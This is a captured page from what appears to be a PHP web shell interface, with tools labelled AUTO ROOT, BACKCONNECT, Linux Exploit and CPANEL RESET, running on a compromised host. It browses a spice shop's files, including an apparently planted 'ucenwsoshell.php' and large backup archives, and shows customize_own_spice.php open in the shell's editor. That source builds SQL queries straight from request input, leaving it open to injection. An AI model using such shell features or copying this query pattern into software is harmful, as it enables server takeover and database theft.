Linux server60.web-hosting.com 4.18.0-513.24.1.lve.1.el8.x86_64 #1 SMP Thu May 9 15:10:09 UTC 2024 x86_64
LiteSpeed
: 198.54.116.118 | : 18.218.185.16
Cant Read [ /etc/named.conf ]
8.1.29
eterygua
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
README
+ Create Folder
+ Create File
/
home /
eterygua /
public_html /
[ HOME SHELL ]
Name
Size
Permission
Action
.well-known
[ DIR ]
drwxr-xr-x
PHPMailer
[ DIR ]
drwxr-xr-x
admin
[ DIR ]
drwxr-xr-x
cgi-bin
[ DIR ]
drwxr-xr-x
css
[ DIR ]
drwxr-xr-x
czz
[ DIR ]
drwxr-xr-x
fonts
[ DIR ]
drwxr-xr-x
img
[ DIR ]
drwxr-xr-x
includes
[ DIR ]
drwxr-xr-x
js
[ DIR ]
drwxr-xr-x
vendor
[ DIR ]
drwxr-xr-x
.htaccess
263
B
-rw-r--r--
Cart.php
5.64
KB
-rw-r--r--
about-us.php
4.78
KB
-rw-r--r--
account.php
21.15
KB
-rw-r--r--
admin-recipe.php
8.35
KB
-rw-r--r--
admin.zip
213.68
MB
-rw-r--r--
ajax_cart_items.php
7.43
KB
-rw-r--r--
ajax_customize_spice_img.php
860
B
-rw-r--r--
ajax_order_details.php
2.98
KB
-rw-r--r--
ajax_order_product_details.php
3.69
KB
-rw-r--r--
backup05-11-23.zip
448.18
MB
-rw-r--r--
cartAction.php
21.92
KB
-rw-r--r--
change-password.php
5.21
KB
-rw-r--r--
checkout.php
6
B
-rw-r--r--
composer.json
65
B
-rw-r--r--
composer.lock
5.5
KB
-rw-r--r--
contact-us.php
17.74
KB
-rw-r--r--
continental_cuisine.php
5.32
KB
-rw-r--r--
cookies-policy.pdf
175.67
KB
-rw-r--r--
cookies-policy.php
3.78
KB
-rw-r--r--
create-order.php
5.42
KB
-rw-r--r--
cusines_categories.php
11.77
KB
-rw-r--r--
cusines_list.php
5.21
KB
-rw-r--r--
customize_enquiry_mail.php
30.02
KB
-rw-r--r--
customize_own_spice.php
27.67
KB
-rw-r--r--
d.html
7.7
KB
-rw-r--r--
dbConfig.php
341
B
-rw-r--r--
delivery-return-refunds.php
5.38
KB
-rw-r--r--
edit_porridge.php
32.61
KB
-rw-r--r--
edit_world_cusine.php
32.35
KB
-rw-r--r--
error_log
241.56
KB
-rw-r--r--
eternalfinal.zip
100.7
MB
-rw-r--r--
index.php
13.13
KB
-rw-r--r--
order_success.php
41.58
KB
-rw-r--r--
payment.php
11.33
KB
-rw-r--r--
pk.php
10.53
KB
-rw-r--r--
privacy-policy.php
10.91
KB
-rw-r--r--
process_payment.php
1.87
KB
-rw-r--r--
product-details.php
11.9
KB
-rw-r--r--
reset.php
9.14
KB
-rw-r--r--
reset_password_email.php
37.9
KB
-rw-r--r--
saved_recipe_items.php
30.57
KB
-rw-r--r--
seasoning-mix.php
13.43
KB
-rw-r--r--
signup_email.php
34.23
KB
-rw-r--r--
style_cww3.php
11.55
KB
-rw-r--r--
terms-and-conditions.php
7.87
KB
-rw-r--r--
ucen.php
2
B
-rw-r--r--
ucenwsoshell.php
66.4
KB
-rw-r--r--
update_recipe.php
33.32
KB
-rw-r--r--
uxo.txt
1
B
-rw-r--r--
view-cart.php
4.29
KB
-rw-r--r--
world-cusines.php
16.86
KB
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : customize_own_spice.php
<?php session_start(); include 'Cart.php'; $cart = new Cart; include('includes/config.php'); if(isset($_POST['customize_spice'])) { $spices_price = array(); $spices_name = array(); $spices_ids = array(); $prd_qty = array(); $spices_inv_total = array(); $customers = mysqli_query($con,"select * from customers where id='".$_SESSION['logged_id']."' and is_active=1"); $cust_details = mysqli_fetch_array($customers); $first_name =$cust_details['first_name']; $last_name =$cust_details['last_name']; $cust_email_id =$cust_details['email_id']; $address =$cust_details['address']; $town_city =$cust_details['town_city']; $postal_code =$cust_details['postal_code']; $country =$cust_details['country']; $phone_no =$cust_details['phone']; $recipe_name =$_POST['recipe_name']; $spices_price = $_POST['spices_price']; $spices_name = $_POST['spices_name']; $spices_ids = $_POST['spices_ids']; $prd_qty = $_POST['prd_qty']; $spices_inv_total = $_POST['spices_inv_total']; $grinding_type = $_POST['grinding_type']; $cust_own_desc = $_POST['cust_own_desc']; $total_price = round($_POST['total_price'],2) ; $totatWeight = $_POST['totatWeight']; $enquiry_details = mysqli_fetch_array(mysqli_query($con,"select * from generate_id where id='1' and is_active='1'")); $ord_inc_value = $enquiry_details['pref_name'].''.$enquiry_details['inc_num']; $insert_recipes = mysqli_query($con,"INSERT INTO reacipies (customer_id, subtotal, total_price, order_form, recipe_name, grinding_type, cust_own_desc, total_weight, created, modified) VALUES ('".$_SESSION['logged_id']."', '".$total_price."', '".$total_price."', '2', '".$recipe_name."', '".$grinding_type."', '".$cust_own_desc."', '".$totatWeight."', '".date("Y-m-d H:i:s")."', '".date("Y-m-d H:i:s")."')"); $recipe_id = mysqli_insert_id($con); for($i=0;$i<count($spices_ids);$i++) { $inc_no = $i+1; $spice_type=$_POST['raw_roasted'.$inc_no.'']; $spices_details=mysqli_fetch_array(mysqli_query($con,"select * from spices_list where id='".$spices_ids[$i]."' and status='1' and is_active='1'")); $spices_image="admin/assets/img/spices/".$spices_details['spices_images']; $insert_recipe_items=mysqli_query($con,"INSERT INTO reacipie_items (reacipie_id, product_id, product_name, product_img, quantity, product_price, spices_type, order_date) VALUES ('".$recipe_id."', '".$spices_ids[$i]."', '".$spices_name[$i]."', '".$spices_image."', '".$prd_qty[$i]."', '".$spices_inv_total[$i]."', '".$spice_type."', '".date("Y-m-d")."')"); if($insert_recipe_items) { }else { die(mysqli_error($con)); } } if($insert_recipes==true) { $ord_value_id = mysqli_fetch_array(mysqli_query($con,"SELECT * FROM generate_id WHERE id='1' and is_active='1'")); $inc_value=$ord_value_id['inc_num']+1; $update_gen_val= mysqli_query($con,"update generate_id set inc_num='".$inc_value."' WHERE id='1' and is_active='1'"); echo "<script>location.href='saved_recipe_items.php';</script>"; } else { echo "<script>alert('Opps! Something went wrong.');</script>"; } } if(isset($_REQUEST['delete'])) { $recDelete = mysqli_query($con,"DELETE FROM reacipies WHERE id='".$_REQUEST['delete']."' AND customer_id='".$_SESSION['logged_id']."' "); $recItemDelete = mysqli_query($con,"DELETE FROM reacipie_items WHERE reacipie_id='".$_REQUEST['delete']."' "); if($recDelete || $recItemDelete) { echo "<script>alert('Your recipes has been delete successfully!.');location.href='saved_recipe_items.php';</script>"; } else { echo "<script>alert('Opps! Something went wrong.');</script>"; } } ?> <!doctype html> <html class="no-js" lang=""> <head> <meta charset="utf-8"> <meta http-equiv="x-ua-compatible" content="ie=edge"> <title>Eternal Seasoning - Customize your Own Spice Mix</title> <meta name="description" content=""> <meta name="viewport" content="width=device-width, initial-scale=1"> <link rel="shortcut icon" type="image/x-icon" href="img/favicon.png"> <!-- Place favicon.ico in the root directory --> <!-- CSS here --> <link rel="stylesheet" href="css/bootstrap.min.css"> <link rel="stylesheet" href="css/animate.min.css"> <link rel="stylesheet" href="css/magnific-popup.css"> <link rel="stylesheet" href="css/fontawesome-all.min.css"> <link rel="stylesheet" href="css/jquery-ui.css"> <link rel="stylesheet" href="css/flaticon.css"> <link rel="stylesheet" href="css/aos.css"> <link rel="stylesheet" href="css/slick.css"> <link rel="stylesheet" href="css/default.css"> <link rel="stylesheet" href="css/style.css"> <link rel="stylesheet" href="css/responsive.css"> <link href="https://cdn.jsdelivr.net/npm/select2@4.1.0-rc.0/dist/css/select2.min.css" rel="stylesheet" /> <style> .sticky-static-top { position: sticky; top: 85px; } #error_message { margin-top: 15px; margin-bottom: 15px; color: #ef3f3f; font-weight: bold; } </style> </head> <body> <!-- preloader --> <!-- <div id="preloader"> <div id="loading-center"> <img src="img/spinner.gif"> </div> </div> --> <!-- preloader-end --> <!-- Scroll-top --> <button class="scroll-top scroll-to-target" data-target="html"> <i class="fas fa-angle-up"></i> </button> <!-- Scroll-top-end--> <!-- header-area --> <?php include('includes/header.php'); ?> <!-- header-area-end --> <!-- main-area --> <main> <!-- breadcrumb-area --> <section class="breadcrumb-area breadcrumb-bg" style="background-image: url(../img/bg/blend-inner-banner-01.jpg); height:200px;"> <div class="container"> <div class="row"> <div class="col-12"> <div class="breadcrumb-content"> <nav aria-label="breadcrumb"> <ol class="breadcrumb"> <li class="breadcrumb-item"><a href="index.php">Home</a></li> <li class="breadcrumb-item active" aria-current="page">Customize your Own Spice Mix</li> </ol> </nav> </div> </div> </div> </div> </section> <!-- breadcrumb-area-end --> <!-- cart-area --> <div class="cart-area pt-90 pb-90"> <div class="container"> <form id="myform" method="post" autocomplete="off"> <p style="color: #9f1d28;font-size: 17px;font-weight: 600;">* Minimum purchase order 200g</p> <div class="row justify-content-center"> <div class="col-xl-8"> <div class="cart-wrapper"> <div class="row"> <div class="col-md-6"> <div class="form-group"> <label for="recipe_name">Name Your Seasoning</label> <input type="text" class="form-control" name="recipe_name" id="recipe_name" placeholder="Name your seasoning" required> </div> </div> </div> <div class="table-responsive"> <table class="table mb-0" id="myTable1"> <thead> <tr> <th class="product-thumbnail"></th> <th class="product-name">Add Your Spice</th> <th class="product-quantity">Quantity</th> <th class="product-subtotal">Raw/Roasted</th> <th class="product-delete"></th> </tr> </thead> <tbody class="tbody" id="table-body"> <tr class="single-row" id="table-row1"> <td class="product-thumbnail spce-image-1"><a href="javascript:void(0)"><img src="img/product/newlogo.png" alt=""></a> </td> <td class="product-name"> <select class="form-control spices_list" name="spices_ids[]" id="spices_ids1" onchange="spices_image(1,this.value)" required> <option value="">Select Spices</option> <?php $spices_list=mysqli_query($con,"select * from spices_list where status='1' and is_active='1'"); while($spices_list_row=mysqli_fetch_array($spices_list)) { ?> <option value="<?php echo $spices_list_row['id']; ?>"> <?php echo $spices_list_row['spices_name']; ?></option> <?php } ?> </select> </td> <input type="hidden" class="spices_inv_total" name="spices_inv_total[]" id="spices_inv_total1"> <td class="product-quantity"> <div class="shop-perched-info"> <div class="sd-cart-wrap"> <div class="cart-plus-minus"> <input type="text" class="qty" value="0" placeholder="0" name="prd_qty[]" id="prd_qty1" onkeyup="checkSpice(1)" onchange="update_quantity(1)" required> <div class="dec qtybutton" onclick="decrement_quantity(1)">-</div><div class="inc qtybutton" onclick="increment_quantity(1)">+</div> </div> </div> <p>Grams</p> </div> </td> <td class="product-subtotal"> <input type="radio" name="raw_roasted1" id="raw_roasted1" value="Raw" required> Raw <input type="radio" name="raw_roasted1" id="raw_roasted1" value="Roasted"> Roasted </td> <td class="product-delete"> <a href="javascript:void(0)" onclick="getRowId(1)"><i class="far fa-trash-alt"></i></a> </td> </tr> <tr></tr> </tbody> </table> </div> <div class="row"> <div class="col-md-6 "> <div class="shop-cart-bottom float-left"> <div class="continue-shopping"> <a type="button" href="javascript:void(0)" id="add-row" class="btn"> + ADD ITEM</a> </div> </div> </div> <div class="col-md-6"> <div class="shop-cart-bottom float-right"> <div class="continue-shopping"> <a type="button" href="javascript:void(0)" onclick="create()" class="btn"> Create </a> </div> </div> </div> </div> </div> <p id="error_message"></p> <div class="row" style="margin-top:15px;"> <div class="col-md-6"> <label>Grinding Type</label> <div class="form-group"> <input type="radio" name="grinding_type" id="grinding_type" value="Powder" required> Powder <input type="radio" name="grinding_type" id="grinding_type" value="Coarse" > Coarse <input type="radio" name="grinding_type" id="grinding_type" value="Semi Coarse" > Semi Coarse <input type="radio" name="grinding_type" id="grinding_type" value="Flakes" > Flakes </div> </div> <div class="col-md-6"> <label>Add Comments</label> <div class="form-group"> <textarea class="form-control" name="cust_own_desc" id="cust_own_desc"></textarea> </div> </div> </div> </div> <div class="col-xl-4 col-lg-12"> <div class="shop-cart-total sticky-static-top"> <h3 class="title">Cart Totals</h3> <div class="shop-cart-widget"> <div class="form"> <ul> <input type="hidden" name="total_price" id="total_price" value="0"> <input type="hidden" id="totalWeightInput" name="totatWeight"> <li class="totalwei"><span>Total Weight :</span><span class="amount" id="total-weight">0</span></li> <li class="sub-total"><span>Subtotal</span> <span class="amount">£ 0.00</span></li> <li class="cart-total-amount"><span>Total Price</span> <span class="amount">£ 0.00</span></li> </ul><br> <input type="submit" id="customize_spice" name="customize_spice" class="btn" value="SAVE RECIPE"> </div> </div> </div> </div> </div> </form> </div> </div> <!-- cart-area-end --> </main> <!-- main-area-end --> <!-- footer-area --> <?php include('includes/footer.php'); ?> <!-- footer-area-end --> <!-- JS here --> <script src="js/vendor/jquery-3.6.0.min.js"></script> <script src="js/bootstrap.min.js"></script> <script src="js/isotope.pkgd.min.js"></script> <script src="js/imagesloaded.pkgd.min.js"></script> <script src="js/jquery.magnific-popup.min.js"></script> <script src="js/jquery.countdown.min.js"></script> <script src="js/jquery-ui.min.js"></script> <script src="js/slick.min.js"></script> <script src="js/ajax-form.js"></script> <script src="js/wow.min.js"></script> <script src="js/aos.js"></script> <script src="js/plugins.js"></script> <script src="js/main.js"></script> <script src="https://cdn.jsdelivr.net/npm/select2@4.1.0-rc.0/dist/js/select2.min.js"></script> <script> $('#customize_spice').hide(); $('.spices_list').select2(); function increment_quantity(cart_id) { var spiceId = $('#spices_ids'+cart_id).val(); if(!spiceId) { alert('Please add spice first'); $('#prd_qty'+cart_id).val(0); return; } var inputQuantityElement = $("#prd_qty"+cart_id); var newQuantity = parseInt($(inputQuantityElement).val())+5; $("#prd_qty"+cart_id).val(newQuantity); $('#customize_spice').hide(); // calc(); /* var spice_price=$("#spices_price_"+cart_id).val(); if(spice_price > 0 ) { var per_gram_amt = (spice_price/1000); var gram_total_amt = (per_gram_amt * newQuantity); $('#spices_inv_total'+cart_id).val(gram_total_amt.toFixed(2)); } */ } function decrement_quantity(cart_id) { var spiceId = $('#spices_ids'+cart_id).val(); if(!spiceId) { alert('Please add spice first'); $('#prd_qty'+cart_id).val(0); return; } var inputQuantityElement = $("#prd_qty"+cart_id); if($(inputQuantityElement).val() > 1) { var newQuantity = parseInt($(inputQuantityElement).val()) - 5; $("#prd_qty"+cart_id).val(newQuantity); } $('#customize_spice').hide(); // calc(); } function checkSpice(id) { var spiceId = $('#spices_ids'+id).val(); if(!spiceId) { alert('Please add spice first'); $('#prd_qty'+id).val(0); } } function update_quantity(cart_id) { var inputQuantityElement = $("#prd_qty"+cart_id); var newQuantity = parseInt($(inputQuantityElement).val()); if($(inputQuantityElement).val() >= 5) { var spice_price=$("#spices_price_"+cart_id).val(); if(spice_price > 0) { var per_gram_amt=(spice_price/1000); var gram_total_amt=(per_gram_amt * newQuantity); $('#spices_inv_total'+cart_id).val(gram_total_amt.toFixed(2)); } } } </script> <script> //Add new row const tBody = document.getElementById("table-body"); let t = 2; addNewRow =()=> { const row = document.createElement("tr"); row.className = "single-row"; row.id = "table-row"+t; var NodesString = ''; NodesString+='<td class="product-thumbnail spce-image-'+t+'"><a href="javascript:void(0)"><img src="img/product/newlogo.png" alt=""></a></td>'; NodesString+='<td class="product-name">'; NodesString+='<select class="form-control spices_list" name="spices_ids[]" id="spices_ids'+t+'" onchange="spices_image('+t+',this.value)" required>'; NodesString+='<option value="">Select Spices</option>'; <?php $spices_list=mysqli_query($con,"select * from spices_list where status='1' and is_active='1'"); while($spices_list_row=mysqli_fetch_array($spices_list)) { ?> NodesString+='<option value="<?php echo $spices_list_row['id']; ?>"><?php echo $spices_list_row['spices_name']; ?></option>'; <?php } ?> NodesString+='</select>'; NodesString+='</td><input type="hidden" class="spices_inv_total" name="spices_inv_total[]" id="spices_inv_total'+t+'">'; NodesString+='<td class="product-quantity">'; NodesString+='<div class="shop-perched-info">'; NodesString+='<div class="sd-cart-wrap">'; NodesString+='<div class="cart-plus-minus">'; NodesString+='<input type="text" class="qty" value="0" name="prd_qty[]" id="prd_qty'+t+'" onkeyup="checkSpice('+t+')" onchange="update_quantity('+t+')" required>'; NodesString+='<div class="dec qtybutton" onclick="decrement_quantity('+t+')">-</div><div class="inc qtybutton" onclick="increment_quantity('+t+')">+</div></div>'; NodesString+='</div>'; NodesString+=' <p>Grams</p></div>'; NodesString+='</td>'; NodesString+='<td class="product-subtotal">'; NodesString+='<input type="radio" name="raw_roasted'+t+'" id="raw_roasted'+t+'" value="Raw" required> Raw '; NodesString+='<input type="radio" name="raw_roasted'+t+'" id="raw_roasted'+t+'" value="Roasted"> Roasted'; NodesString+='</td>'; NodesString+='<td class="add-remove product-delete"><i class="far fa-trash-alt" onclick="getRowId('+t+')" action="delete"></i></td>'; row.innerHTML = NodesString; tBody.insertBefore(row, tBody.lastElementChild.previousSibling); t += 1; $('.spices_list').select2(); } document.getElementById("add-row").addEventListener("click", (e)=> { e.preventDefault(); addNewRow(); }); //Target row and remove from DOM; delRow =(el)=> { el.parentNode.parentNode.parentNode.removeChild(el.parentNode.parentNode); } function getRowId(id) { if(id != 1) { $("#table-row"+id).remove(); $('#customize_spice').hide(); calc(); } } $(document).ready(function () { $("#myTable1").on('input', '.qty', function () { $('#customize_spice').hide(); }); }); function create() { var ftotal = 0; $('.spices_rate').each(function () { var price = $(this); var qty = price.closest('tr').find('.qty'); ftotal = ftotal + parseInt(qty.val()); }); if(ftotal<200) { alert('Minimum order 200 Gram'); return; } calc(); } function calc() { var total = 0; $('#myTable1 .qty').each(function () { var qty = $(this); total = total + parseInt(qty.val()); }); var fsum = 0; var ftotal = 0; $('.spices_rate').each(function () { var price = $(this); var qty = price.closest('tr').find('.qty'); var stotal = price.closest('tr').find('.spices_inv_total'); var per_gram_amt=(price.val()/1000); fsum = (per_gram_amt * qty.val()); stotal.val(fsum); ftotal = ftotal + fsum; }); $('#total-weight').html(total+" Grams"); $('#totalWeightInput').val(total); $('.sub-total span.amount').html('£ '+ftotal.toFixed(2)); $('.cart-total-amount span.amount').html('£ '+ftotal.toFixed(2)); $('#total_price').val(ftotal.toFixed(2)); $('#customize_spice').show(); } </script> <script> var spices = []; function spices_image(spices_img_id,spices_id){ var values = []; $('.spices_list').each(function() { values.push( $(this).val() ); }); if(countElement(spices_id,values)>1) { alert('Spice name already Exist'); $('#table-row'+spices_img_id).remove(); addNewRow(); $('#customize_spice').hide(); return; } if(spices_id != '') { console.log(spices, 'spices'); $.ajax({ url : "ajax_customize_spice_img.php", data : {spices_img_id:spices_img_id,spices_id:spices_id }, type : 'post', success : function(response) { $('.spce-image-'+spices_img_id).html(response); calc(); $('#customize_spice').hide(); } }); } } function countElement(item,array) { var count = 0; $.each(array, function(i,v) { if (v === item) count++; }); return count; } </script> </body> </html>
Close